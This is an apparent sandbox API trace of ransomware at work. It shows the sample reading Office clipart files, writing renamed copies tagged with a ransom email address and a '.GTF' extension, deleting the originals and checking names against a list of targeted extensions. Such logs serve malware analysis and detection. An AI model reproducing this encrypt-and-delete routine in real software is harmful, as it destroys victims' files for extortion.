	[0163.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220
	[0163.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.311] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.311] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0163.312] GetLastError () returned 0x0
	[0163.312] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x2d14, lpOverlapped=0x0) returned 1
	[0163.314] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x2d20, lpOverlapped=0x0) returned 1
	[0163.315] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.315] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.315] SetEndOfFile (hFile=0x540) returned 1
	[0163.315] CloseHandle (hObject=0x540) returned 1
	[0163.315] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.315] SetEndOfFile (hFile=0x544) returned 1
	[0163.318] CloseHandle (hObject=0x544) returned 1
	[0163.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1
	[0163.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0163.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0163.319] lstrlenW (lpString=".doc") returned 4
	[0163.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.319] lstrlenW (lpString=".docx") returned 5
	[0163.319] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0163.319] lstrlenW (lpString=".pdf") returned 4
	[0163.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.319] lstrlenW (lpString=".xls") returned 4
	[0163.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.319] lstrlenW (lpString=".xlsx") returned 5
	[0163.319] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0163.319] lstrlenW (lpString=".ppt") returned 4
	[0163.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0163.319] lstrlenW (lpString=".zip") returned 4
	[0163.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.319] lstrlenW (lpString=".rar") returned 4
	[0163.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.319] lstrlenW (lpString=".bz2") returned 4
	[0163.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.319] lstrlenW (lpString=".7z") returned 3
	[0163.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0163.319] lstrlenW (lpString=".dbf") returned 4
	[0163.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0163.319] lstrlenW (lpString=".1cd") returned 4
	[0163.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0163.320] lstrlenW (lpString=".jpg") returned 4
	[0163.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0163.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0163.320] lstrlenW (lpString=".doc") returned 4
	[0163.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0163.320] lstrlenW (lpString=".docx") returned 5
	[0163.320] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0163.320] lstrlenW (lpString=".pdf") returned 4
	[0163.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0163.320] lstrlenW (lpString=".xls") returned 4
	[0163.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0163.320] lstrlenW (lpString=".xlsx") returned 5
	[0163.320] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0163.320] lstrlenW (lpString=".ppt") returned 4
	[0163.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0163.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0163.320] lstrlenW (lpString=".zip") returned 4
	[0163.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0163.320] lstrlenW (lpString=".rar") returned 4
	[0163.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0163.320] lstrlenW (lpString=".bz2") returned 4
	[0163.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0163.320] lstrlenW (lpString=".7z") returned 3
	[0163.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0163.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0163.320] lstrlenW (lpString=".dbf") returned 4
	[0163.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0163.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0163.320] lstrlenW (lpString=".1cd") returned 4
	[0163.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0163.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68
	[0163.320] lstrlenW (lpString=".jpg") returned 4
	[0163.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0163.321] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0163.321] lstrlenW (lpString="J0105282.WMF") returned 12
	[0163.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.321] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=4796) returned 1
	[0163.321] CloseHandle (hObject=0x544) returned 1
	[0163.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 0x220
	[0163.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.322] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.322] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0163.322] GetLastError () returned 0x0
	[0163.322] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x12bc, lpOverlapped=0x0) returned 1
	[0163.451] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0163.452] ReadFile (in: hFile=0x544, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.452] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.452] SetEndOfFile (hFile=0x540) returned 1
	[0163.452] CloseHandle (hObject=0x540) returned 1
	[0163.452] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.452] SetEndOfFile (hFile=0x544) returned 1
	[0163.455] CloseHandle (hObject=0x544) returned 1
	[0163.455] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105282.wmf")) returned 1
	[0164.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0164.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0164.034] lstrlenW (lpString=".doc") returned 4
	[0164.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.035] lstrlenW (lpString=".docx") returned 5
	[0164.035] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0164.035] lstrlenW (lpString=".pdf") returned 4
	[0164.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.035] lstrlenW (lpString=".xls") returned 4
	[0164.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.035] lstrlenW (lpString=".xlsx") returned 5
	[0164.035] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0164.035] lstrlenW (lpString=".ppt") returned 4
	[0164.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0164.035] lstrlenW (lpString=".zip") returned 4
	[0164.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.035] lstrlenW (lpString=".rar") returned 4
	[0164.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.035] lstrlenW (lpString=".bz2") returned 4
	[0164.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.035] lstrlenW (lpString=".7z") returned 3
	[0164.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0164.035] lstrlenW (lpString=".dbf") returned 4
	[0164.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0164.035] lstrlenW (lpString=".1cd") returned 4
	[0164.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0164.035] lstrlenW (lpString=".jpg") returned 4
	[0164.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0164.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0164.035] lstrlenW (lpString=".doc") returned 4
	[0164.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.035] lstrlenW (lpString=".docx") returned 5
	[0164.035] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0164.035] lstrlenW (lpString=".pdf") returned 4
	[0164.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.036] lstrlenW (lpString=".xls") returned 4
	[0164.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.036] lstrlenW (lpString=".xlsx") returned 5
	[0164.036] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0164.036] lstrlenW (lpString=".ppt") returned 4
	[0164.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0164.036] lstrlenW (lpString=".zip") returned 4
	[0164.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.036] lstrlenW (lpString=".rar") returned 4
	[0164.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.036] lstrlenW (lpString=".bz2") returned 4
	[0164.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.036] lstrlenW (lpString=".7z") returned 3
	[0164.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0164.036] lstrlenW (lpString=".dbf") returned 4
	[0164.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0164.036] lstrlenW (lpString=".1cd") returned 4
	[0164.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105282.WMF") returned 68
	[0164.036] lstrlenW (lpString=".jpg") returned 4
	[0164.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.036] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.036] lstrlenW (lpString="J0105338.WMF") returned 12
	[0164.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.528] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=11584) returned 1
	[0164.529] CloseHandle (hObject=0x554) returned 1
	[0164.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220
	[0164.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0164.529] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.529] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0164.530] GetLastError () returned 0x0
	[0164.530] ReadFile (in: hFile=0x554, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x2d40, lpOverlapped=0x0) returned 1
	[0164.595] WriteFile (in: hFile=0x558, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0164.596] ReadFile (in: hFile=0x554, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.596] WriteFile (in: hFile=0x558, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.596] SetEndOfFile (hFile=0x558) returned 1
	[0164.615] CloseHandle (hObject=0x558) returned 1
	[0164.618] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.618] SetEndOfFile (hFile=0x554) returned 1
	[0164.633] CloseHandle (hObject=0x554) returned 1
	[0164.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1
	[0164.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0164.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0164.702] lstrlenW (lpString=".doc") returned 4
	[0164.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.702] lstrlenW (lpString=".docx") returned 5
	[0164.702] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.702] lstrlenW (lpString=".pdf") returned 4
	[0164.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.702] lstrlenW (lpString=".xls") returned 4
	[0164.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.702] lstrlenW (lpString=".xlsx") returned 5
	[0164.702] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.702] lstrlenW (lpString=".ppt") returned 4
	[0164.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0164.702] lstrlenW (lpString=".zip") returned 4
	[0164.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.702] lstrlenW (lpString=".rar") returned 4
	[0164.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.702] lstrlenW (lpString=".bz2") returned 4
	[0164.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.702] lstrlenW (lpString=".7z") returned 3
	[0164.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0164.702] lstrlenW (lpString=".dbf") returned 4
	[0164.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0164.702] lstrlenW (lpString=".1cd") returned 4
	[0164.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0164.702] lstrlenW (lpString=".jpg") returned 4
	[0164.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0164.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0164.703] lstrlenW (lpString=".doc") returned 4
	[0164.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0164.703] lstrlenW (lpString=".docx") returned 5
	[0164.703] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0164.703] lstrlenW (lpString=".pdf") returned 4
	[0164.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0164.703] lstrlenW (lpString=".xls") returned 4
	[0164.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0164.703] lstrlenW (lpString=".xlsx") returned 5
	[0164.703] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0164.703] lstrlenW (lpString=".ppt") returned 4
	[0164.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0164.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0164.703] lstrlenW (lpString=".zip") returned 4
	[0164.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0164.703] lstrlenW (lpString=".rar") returned 4
	[0164.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0164.703] lstrlenW (lpString=".bz2") returned 4
	[0164.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0164.703] lstrlenW (lpString=".7z") returned 3
	[0164.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0164.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0164.703] lstrlenW (lpString=".dbf") returned 4
	[0164.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0164.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0164.703] lstrlenW (lpString=".1cd") returned 4
	[0164.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0164.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0164.703] lstrlenW (lpString=".jpg") returned 4
	[0164.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0164.704] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0164.704] lstrlenW (lpString="J0105398.WMF") returned 12
	[0164.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0164.704] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=3328) returned 1
	[0164.704] CloseHandle (hObject=0x4b4) returned 1
